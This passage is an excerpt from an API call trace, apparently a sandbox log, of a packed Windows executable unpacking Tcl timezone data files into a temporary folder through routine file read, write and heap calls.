lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.312] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.312] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.312] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.312] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.312] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.312] CloseHandle (hObject=0x10c) returned 1 [0038.312] GetLastError () returned 0x0 [0038.312] SetLastError (dwErrCode=0x0) [0038.312] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.312] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.312] GetFileType (hFile=0x10c) returned 0x1 [0038.312] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.312] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.312] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.312] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.312] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.312] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.312] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.312] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.312] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.312] CloseHandle (hObject=0x10c) returned 1 [0038.312] GetLastError () returned 0x0 [0038.313] SetLastError (dwErrCode=0x0) [0038.313] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Niamey") returned 70 [0038.313] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Niamey" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\niamey"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.313] GetLastError () returned 0x2 [0038.313] SetLastError (dwErrCode=0x2) [0038.313] GetLastError () returned 0x2 [0038.313] SetLastError (dwErrCode=0x2) [0038.313] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Niamey", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Niamey", lpFilePart=0x0) returned 0x45 [0038.313] GetLastError () returned 0x2 [0038.313] SetLastError (dwErrCode=0x2) [0038.313] GetLastError () returned 0x2 [0038.313] SetLastError (dwErrCode=0x2) [0038.313] GetLastError () returned 0x2 [0038.313] SetLastError (dwErrCode=0x2) [0038.313] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Niamey") returned 70 [0038.313] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.313] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Niamey" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\niamey"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.313] GetFileType (hFile=0x10c) returned 0x1 [0038.313] htonl (hostlong=0xc5000000) returned 0xc5 [0038.313] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.313] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xc5, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xc5, lpOverlapped=0x0) returned 1 [0038.315] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.315] CloseHandle (hObject=0x10c) returned 1 [0038.315] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.315] htonl (hostlong=0x30000000) returned 0x30 [0038.315] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.316] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.316] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.316] GetFileType (hFile=0x10c) returned 0x1 [0038.316] htonl (hostlong=0x645e5800) returned 0x585e64 [0038.316] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d0e64, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.316] htonl (hostlong=0xa2000000) returned 0xa2 [0038.316] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa2) returned 0x544410 [0038.316] htonl (hostlong=0xa2000000) returned 0xa2 [0038.316] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.316] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.316] htonl (hostlong=0xc8000000) returned 0xc8 [0038.316] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc8) returned 0x550600 [0038.316] htonl (hostlong=0xa2000000) returned 0xa2 [0038.316] htonl (hostlong=0xc8000000) returned 0xc8 [0038.316] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.316] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.316] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544410 | out: hHeap=0x530000) returned 1 [0038.316] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.316] CloseHandle (hObject=0x10c) returned 1 [0038.316] GetLastError () returned 0x0 [0038.316] SetLastError (dwErrCode=0x0) [0038.316] GetLastError () returned 0x0 [0038.316] SetLastError (dwErrCode=0x0) [0038.316] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.317] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.317] GetFileType (hFile=0x10c) returned 0x1 [0038.317] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.317] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.317] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.317] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.317] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.317] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.317] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.317] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.317] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.317] CloseHandle (hObject=0x10c) returned 1 [0038.317] GetLastError () returned 0x0 [0038.317] SetLastError (dwErrCode=0x0) [0038.317] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.317] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.317] GetFileType (hFile=0x10c) returned 0x1 [0038.317] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.317] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.317] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.317] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.317] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.317] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.318] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.318] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.318] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.318] CloseHandle (hObject=0x10c) returned 1 [0038.318] GetLastError () returned 0x0 [0038.318] SetLastError (dwErrCode=0x0) [0038.318] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.318] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.318] GetFileType (hFile=0x10c) returned 0x1 [0038.318] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.318] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.318] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.318] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.318] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.318] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.318] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.318] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.318] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.318] CloseHandle (hObject=0x10c) returned 1 [0038.318] GetLastError () returned 0x0 [0038.318] SetLastError (dwErrCode=0x0) [0038.318] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Nouakchott") returned 74 [0038.318] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Nouakchott" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\nouakchott"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.319] GetLastError () returned 0x2 [0038.319] SetLastError (dwErrCode=0x2) [0038.319] GetLastError () returned 0x2 [0038.319] SetLastError (dwErrCode=0x2) [0038.319] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Nouakchott", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Nouakchott", lpFilePart=0x0) returned 0x49 [0038.319] GetLastError () returned 0x2 [0038.319] SetLastError (dwErrCode=0x2) [0038.319] GetLastError () returned 0x2 [0038.319] SetLastError (dwErrCode=0x2) [0038.319] GetLastError () returned 0x2 [0038.319] SetLastError (dwErrCode=0x2) [0038.319] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Nouakchott") returned 74 [0038.319] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.319] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Nouakchott" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\nouakchott"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.320] GetFileType (hFile=0x10c) returned 0x1 [0038.320] htonl (hostlong=0xc8000000) returned 0xc8 [0038.320] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.320] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xc8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xc8, lpOverlapped=0x0) returned 1 [0038.321] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.321] CloseHandle (hObject=0x10c) returned 1 [0038.322] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.322] htonl (hostlong=0x30000000) returned 0x30 [0038.322] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.322] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.322] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.322] GetFileType (hFile=0x10c) returned 0x1 [0038.322] htonl (hostlong=0x65f5800) returned 0x585f06 [0038.322] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d0f06, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.322] htonl (hostlong=0x8b000000) returned 0x8b [0038.322] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8b) returned 0x55cfe0 [0038.322] htonl (hostlong=0x8b000000) returned 0x8b [0038.322] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.322] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.322] htonl (hostlong=0x91000000) returned 0x91 [0038.322] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x91) returned 0x550600 [0038.322] htonl (hostlong=0x8b000000) returned 0x8b [0038.322] htonl (hostlong=0x91000000) returned 0x91 [0038.322] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.322] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.322] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.322] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.322] CloseHandle (hObject=0x10c) returned 1 [0038.322] GetLastError () returned 0x0 [0038.322] SetLastError (dwErrCode=0x0) [0038.323] GetLastError () returned 0x0 [0038.323] SetLastError (dwErrCode=0x0) [0038.323] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.323] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.323] GetFileType (hFile=0x10c) returned 0x1 [0038.323] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.323] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.323] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.323] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.323] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.323] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.323] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.323] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.323] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.323] CloseHandle (hObject=0x10c) returned 1 [0038.323] GetLastError () returned 0x0 [0038.323] SetLastError (dwErrCode=0x0) [0038.323] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.323] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.323] GetFileType (hFile=0x10c) returned 0x1 [0038.323] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.323] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.323] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.324] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.324] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.324] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.324] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.324] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.324] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.324] CloseHandle (hObject=0x10c) returned 1 [0038.324] GetLastError () returned 0x0 [0038.324] SetLastError (dwErrCode=0x0) [0038.324] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.324] CreateFileW 